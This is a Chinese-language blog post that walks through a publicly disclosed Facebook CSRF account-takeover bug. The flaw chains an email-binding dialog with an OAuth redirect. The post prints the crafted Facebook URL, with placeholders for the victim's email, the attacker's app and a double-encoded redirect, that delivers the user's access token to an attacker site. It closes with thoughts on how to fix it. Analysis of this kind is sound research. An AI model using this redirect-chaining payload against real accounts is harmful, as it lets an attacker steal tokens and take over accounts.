对“绕过Facebook Token进行CSRF账号接管”的文章解读

浅谈绕过Facebook Token进行CSRF账号接管

今天早上看到Sam大佬推特发了这篇文章,下午就见到先知上有译文了。为什么有译文了还要写这篇文章呢?安全圈的译文你懂的,大部分右键一把梭。

从文章本身来说,还是有比较值得学习的地方,所以摘出来流程分析一下。

原文:https://ysamm.com/?p=185

先知译文: https://xz.aliyun.com/t/4089#toc-5

漏洞关键条件

攻击者有一个oauth认证接口,即漏洞网站可以授权自己的网站

漏洞流程

第二步,即location的Url如下

https://www.facebook.com/comet/dialog_DONOTUSE/?
url=/add_contactpoint/dialog/submit/%3fcontactpoint={EMAIL_CHOSEN}%26next=
/v3.2/dialog/oauth%253fresponse_type%253dtoken%2526client_id%253d{ATTACKER_APP}%2526redirect_uri%253d{DOUBLE_URL_ENCODED_LINK]

next参数为下一步跳转参数,即邮箱绑定后跳转到/v3.2/dialog/oauth%253fresponse_type%253dtoken%2526client_id%253d{ATTACKER_APP}%2526redirect_uri%253d{DOUBLE_URL_ENCODED_LINK]获取token再redirect到attacker web

总结/修复思考

漏洞新颖的点就在授权后的跳转,这也算是一种突破oauth的新思路。利用信任站点的重定向进行其它oauth的绑定,再携带token二次重定向到attacker web。

如果能再二次重定向的地方加一个权限验证,即attacker app与oauth匹配,会不会避免这样的越权呢?

其次就是,如果我们省略三方授权,直接诱导用户点击第二步的location,不就更省事了么?这点我邮寄了sam师傅,希望日后有其它研究的师傅可以指点一下~

not found!